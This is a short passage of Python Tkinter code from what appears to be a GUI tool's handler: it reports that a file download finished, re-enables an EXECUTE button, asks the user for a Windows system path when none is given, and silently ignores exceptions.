print("finish down..")
textOfResult.insert(END,
f"\n\ndownload file successfully.")
buttExecute.config(text="EXECUTE", state=NORMAL)
else:
textOfResult.insert(END, f"\n\nENTER path of system windows !")
except Exception:
pass